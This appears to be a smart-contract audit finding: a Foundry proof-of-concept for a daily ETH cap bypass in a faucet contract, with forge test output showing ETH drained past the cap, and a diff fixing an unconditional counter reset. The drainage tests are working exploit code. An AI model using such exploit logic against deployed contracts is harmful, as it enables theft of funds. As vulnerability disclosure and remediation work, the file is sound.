pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract EthCapBypassTest is Test {
    RaiseBoxFaucet public faucet;
    address owner;
    
    
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    address user3 = makeAddr("user3");
    address user4 = makeAddr("user4");
    address user5 = makeAddr("user5");
    address user6 = makeAddr("user6");
    
    function setUp() public {
        owner = address(this);
        
        faucet = new RaiseBoxFaucet(
            "RaiseBox Token",
            "RBT",
            1000 * 10**18,
            0.005 ether,     
            0.01 ether       
        );
        
        
        vm.deal(address(faucet), 1 ether);
        
        
        vm.warp(block.timestamp + 3 days);
    }
    
    function testEthCapBypassAttack() public {
        uint256 faucetEthBefore = address(faucet).balance;
        uint256 dailyCap = faucet.dailySepEthCap();
        uint256 ethPerClaim = faucet.sepEthAmountToDrip();
        
        console.log("=================================");
        console.log("DAILY ETH CAP BYPASS POC");
        console.log("=================================\n");
        
        console.log("--- INITIAL STATE ---");
        console.log("Faucet ETH balance:", faucetEthBefore);
        console.log("Daily ETH cap:", dailyCap);
        console.log("ETH per claim:", ethPerClaim);
        console.log("Theoretical max claims:", dailyCap / ethPerClaim);
        console.log("");
        
        
        
        
        vm.prank(user1);
        faucet.claimFaucetTokens();
        console.log("User1 claimed - dailyDrips:", faucet.dailyDrips());
        assertEq(faucet.dailyDrips(), ethPerClaim, "First claim should set dailyDrips");
        
        
        vm.warp(block.timestamp + 3 days + 1); 
        vm.prank(user2);
        faucet.claimFaucetTokens();
        console.log("User2 claimed - dailyDrips:", faucet.dailyDrips());
        console.log(">>> CAP REACHED (legitimate behavior)\n");
        
        
        uint256 user1Balance = address(user1).balance;
        uint256 user2Balance = address(user2).balance;
        console.log("User1 ETH:", user1Balance);
        console.log("User2 ETH:", user2Balance);
        
        
        assertEq(user1Balance, ethPerClaim, "User1 should have ETH");
        assertEq(user2Balance, ethPerClaim, "User2 should have ETH");
        
        console.log("\n=================================");
        console.log("VULNERABILITY CONFIRMED!");
        console.log("Both users received ETH despite cap logic");
        console.log("dailyDrips counter is being reset");
        console.log("=================================");
    }
    
    function testMassiveEthDrainageWithBypass() public {
        
        uint256 initialEth = 1 ether;
        uint256 targetDrainage = 0.05 ether; 
        
        address[] memory freshUsers = new address[](20);
        address[] memory usedUsers = new address[](2);
        
        
        for(uint256 i = 0; i < 20; i++) {
            freshUsers[i] = makeAddr(string(abi.encodePacked("fresh", i)));
        }
        
        usedUsers[0] = user1;
        usedUsers[1] = user2;
        
        
        vm.prank(usedUsers[0]);
        faucet.claimFaucetTokens();
        
        vm.warp(block.timestamp + 3 days);
        vm.prank(usedUsers[1]);
        faucet.claimFaucetTokens();
        
        console.log("Setup complete. Starting bypass attack...");
        console.log("Initial faucet balance:", address(faucet).balance);
        
        uint256 ethDrained = 0;
        uint256 claimsMade = 2; 
        uint256 usedUserIndex = 0;
        
        
        for(uint256 i = 0; i < freshUsers.length && ethDrained < targetDrainage; i++) {
            
            vm.warp(block.timestamp + 3 days);
            vm.prank(freshUsers[i]);
            faucet.claimFaucetTokens();
            ethDrained += faucet.sepEthAmountToDrip();
            claimsMade++;
            
            
            if(i % 2 == 1) {
                vm.warp(block.timestamp + 3 days);
                vm.prank(usedUsers[usedUserIndex % usedUsers.length]);
                faucet.claimFaucetTokens();
                usedUserIndex++;
                claimsMade++;
            }
        }
        
        console.log("Attack complete!");
        console.log("Final faucet balance:", address(faucet).balance);
        console.log("Total ETH drained:", initialEth - address(faucet).balance);
        console.log("Total claims made:", claimsMade);
        console.log("Daily cap:", faucet.dailySepEthCap());
        console.log("Cap violations:", (initialEth - address(faucet).balance) / faucet.dailySepEthCap());
        
        assertGt(initialEth - address(faucet).balance, faucet.dailySepEthCap(), "Failed to exceed cap");
    }
}
forge test --match-contract EthCapBypassTest -vvv
[⠒] Compiling...
[⠊] Compiling 1 files with Solc 0.8.30
[⠒] Solc 0.8.30 finished in 304.24ms
Compiler run successful!
Ran 2 tests for test/EthCapBypassTest.sol:EthCapBypassTest
[PASS] testEthCapBypassAttack() (gas: 389392)
Logs:
  =================================
  DAILY ETH CAP BYPASS POC
  =================================
  --- INITIAL STATE ---
  Faucet ETH balance: 1000000000000000000
  Daily ETH cap: 10000000000000000
  ETH per claim: 5000000000000000
  Theoretical max claims: 2
  User1 claimed - dailyDrips: 5000000000000000
  User2 claimed - dailyDrips: 5000000000000000
  >>> CAP REACHED (legitimate behavior)
  User1 ETH: 5000000000000000
  User2 ETH: 5000000000000000
=================================
  VULNERABILITY CONFIRMED!
  Both users received ETH despite cap logic
  dailyDrips counter is being reset
  =================================
[PASS] testMassiveEthDrainageWithBypass() (gas: 1732214)
Logs:
  Setup complete. Starting bypass attack...
  Initial faucet balance: 990000000000000000
  Attack complete!
  Final faucet balance: 940000000000000000
  Total ETH drained: 60000000000000000
  Total claims made: 17
  Daily cap: 10000000000000000
  Cap violations: 6
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.87ms (1.37ms CPU time)
Ran 1 test suite in 40.37ms (3.87ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
 
function claimFaucetTokens() public {
    faucetClaimer = msg.sender;
    
    // ... checks ...
    
+   // Reset dailyDrips only on day change, not based on user state
+   uint256 currentDay = block.timestamp / 24 hours;
+   if (currentDay > lastDripDay) {
+       lastDripDay = currentDay;
+       dailyDrips = 0;
+   }
    
    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
-       uint256 currentDay = block.timestamp / 24 hours;
-       if (currentDay > lastDripDay) {
-           lastDripDay = currentDay;
-           dailyDrips = 0;
-       }
        if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && 
            address(this).balance >= sepEthAmountToDrip) {
            hasClaimedEth[faucetClaimer] = true;
            dailyDrips += sepEthAmountToDrip;
            (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
            if (success) {
                emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
            } else {
                revert RaiseBoxFaucet_EthTransferFailed();
            }
        } else {
            emit SepEthDripSkipped(faucetClaimer, sepEthAmountToDrip);
        }
-   } else {
-       dailyDrips = 0;  // REMOVE THIS UNCONDITIONAL RESET
    }
    
    // ... rest of function
}